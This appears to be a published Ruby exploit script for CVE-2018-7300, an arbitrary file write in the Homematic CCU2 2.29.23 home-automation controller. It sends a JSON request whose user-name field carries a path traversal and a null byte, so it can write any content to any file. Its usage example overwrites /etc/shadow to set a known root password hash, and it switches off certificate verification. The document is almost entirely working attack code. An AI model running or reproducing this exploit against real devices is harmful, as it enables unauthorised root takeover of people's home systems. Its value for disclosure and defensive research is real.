Homematic CCU2 2.29.23 Arbitrary File Write

`#!/usr/bin/ruby  
  
# Exploit Title: Homematic CCU2 Arbitrary File Write  
# Date: 28-03-18  
# Exploit Author: Patrick Muench, Gregor Kopf  
# Vendor Homepage: http://www.eq-3.de  
# Software Link: http://www.eq-3.de/service/downloads.html?id=268  
# Version: 2.29.23  
# CVE : 2018-7300  
  
# Description: http://atomic111.github.io/article/homematic-ccu2-filewrite  
  
require 'net/http'  
require 'net/https'  
require 'uri'  
require 'json'  
  
unless ARGV.length == 3  
STDOUT.puts <<-EOF  
Please provide url  
  
Usage:  
write_files.rb <ip.adress> <file path> <content of the file>  
  
Example:  
write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'  
  
or  
  
write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'  
  
EOF  
exit  
end  
  
# The first argument specifiee the URL and if http or https is used  
url = ARGV[0] + "/api/homematic.cgi"  
  
# The second argument specifies the file into which the content should be written  
homematic_file_path = ARGV[1]  
  
# The third argument specifies the content of the file  
homematic_file_content = ARGV[2]  
  
# define the json body for the attack  
body = {  
"version": "1.1",  
"method": "User.setLanguage",  
"params": {  
"userName": "file path",  
"userLang": "file content"  
}  
}.to_hash  
  
# define the traversal with the file you want to write  
body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"  
  
# define the content  
body[:params][:userLang] = homematic_file_content  
  
# split the uri to access it in a easier way  
uri = URI.parse(url)  
  
# define target connection, disabling certificate verification  
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|  
  
# define post request  
request = Net::HTTP::Post.new(uri.request_uri)  
  
# define the content type of the http request  
request.content_type = 'application/json'  
  
# define the request body  
request.body = body.to_json  
  
# send the request to the homematic ccu2  
response = http.request(request)  
  
# print response message code and status to cli  
puts 'Response code: ' + response.code + ' ' + response.message  
end  
  
  
  
`